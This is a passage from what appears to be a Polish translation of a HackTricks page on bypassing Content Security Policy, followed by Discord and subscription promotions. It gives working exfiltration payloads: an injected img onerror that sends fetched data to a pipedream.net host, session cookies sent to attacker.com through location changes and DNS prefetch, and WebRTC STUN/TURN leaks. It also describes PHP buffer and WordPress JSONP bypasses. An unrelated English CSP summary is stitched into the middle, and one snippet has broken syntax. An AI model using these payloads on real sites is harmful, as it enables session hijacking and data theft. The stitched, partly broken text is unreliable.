https://usersecret.example2.com
), który nie jest dozwolony przez CSP. - Słuchając zdarzenia
securitypolicyviolation
, można przechwycić właściwośćblockedURI
. Ta właściwość ujawnia domenę zablokowanego adresu URL, ujawniając tajną domenę, do której pierwotny adres URL został przekierowany.
Warto zauważyć, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w kontekście CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu niezdefiniowanego zachowania.
Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na algorytmie wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak można skonfigurować CSP, aby ułatwić tę metodę:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Poprzez monitorowanie, które żądania są blokowane lub zezwala na nie przez CSP, można zawęzić możliwe znaki w sekretnym subdomenie, ostatecznie odkrywając pełny URL.
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, demonstrując, jak pozornie bezpieczne zasady mogą nieumyślnie ujawniać wrażliwe informacje.
Sztuczka z tutaj.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spojrzenie na Hacking
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i spojrzeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
Dołącz do nas na Discord i zacznij współpracować z najlepszymi hakerami już dziś!
Niebezpieczne Technologie do Ominania CSP
Przeładowanie bufora odpowiedzi PHP
PHP jest znany z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczająco danych wewnątrz ostrzeżeń, odpowiedź zostanie wysłana przed nagłówkiem CSP, powodując zignorowanie nagłówka.
Następnie technika polega głównie na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.
Pomysł z tego writeup.
Przepisanie Strony Błędu
Z tego writeup wynika, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) w punkcie końcowym strony do nadużycia innych punktów końcowych tego samego pochodzenia. Polega to na załadowaniu podatnego punktu końcowego z strony atakującego, a następnie odświeżeniu strony atakującego do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób podatny punkt końcowy może użyć obiektu opener
w ładunku do uzyskania dostępu do DOM rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Co więcej, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data
, który odbije dane wysłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
Atakujący może nadużyć tego punktu końcowego, aby wykonać atak SOME na WordPress i osadzić go wewnątrz <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
, zauważ, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć ataku SOME poprzez podatny punkt końcowy wywołania zwrotnego, który omija CSP, aby nadać więcej uprawnień użytkownikowi, zainstalować nowy wtyczkę...
Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Bypassy eksfiltracji CSP
Jeśli istnieje surowy CSP, który nie pozwala ci interagować z zewnętrznymi serwerami, zawsze możesz zrobić kilka rzeczy, aby eksfiltrować informacje.
Location
Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego tajne informacje:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Możesz przekierować, wstrzykując meta tag (to jest tylko przekierowanie, nie ujawni to zawartości)
<meta http-equiv="refresh" content="1; http://attacker.com">
Prefetch DNS
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">
Możesz nadużyć tego zachowania do wycieku wrażliwych informacji za pomocą żądań DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Bypassing Content Security Policy (CSP)
Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, there are ways to bypass CSP protections and execute malicious code on a target website.
Bypass Techniques
-
Inline Script Execution: By finding and exploiting a way to execute inline scripts, an attacker can bypass CSP restrictions that prohibit inline script execution.
-
Unsafe Inline Directive: Some websites use the
unsafe-inline
directive in their CSP policy to allow inline scripts. This can be exploited by an attacker to inject and execute malicious scripts. -
Data: URI Scheme: The
data:
URI scheme can be used to embed external resources directly within a web page. Attackers can leverage this technique to bypass CSP restrictions on loading external resources. -
Nonce-based Bypass: Websites that use nonces in their CSP headers to allowlist specific scripts can be vulnerable to bypass if the nonce value can be predicted or controlled by an attacker.
Conclusion
While Content Security Policy (CSP) is an effective security measure to protect web applications from various attacks, it is important for web developers to understand the potential bypass techniques that attackers may use to circumvent CSP protections. Regular security assessments and testing can help identify and mitigate these vulnerabilities before they are exploited.
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Aby temu zapobiec, serwer może wysłać nagłówek HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Wygląda na to, że ta technika nie działa w przeglądarkach bez interfejsu (botach) {% endhint %}
WebRTC
Na kilku stronach możesz przeczytać, że WebRTC nie sprawdza polityki connect-src
CSP.
W rzeczywistości możesz wyciekać informacje za pomocą żądania DNS. Sprawdź ten kod:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Inna opcja:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Sprawdzanie zasad CSP online
Automatyczne tworzenie CSP
https://csper.io/docs/generating-content-security-policy
Referencje
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spojrzenie na Hacking
Zanurz się w treści, które zgłębiają emocje i wyzwania związane z hakerstwem
Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spojrzeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.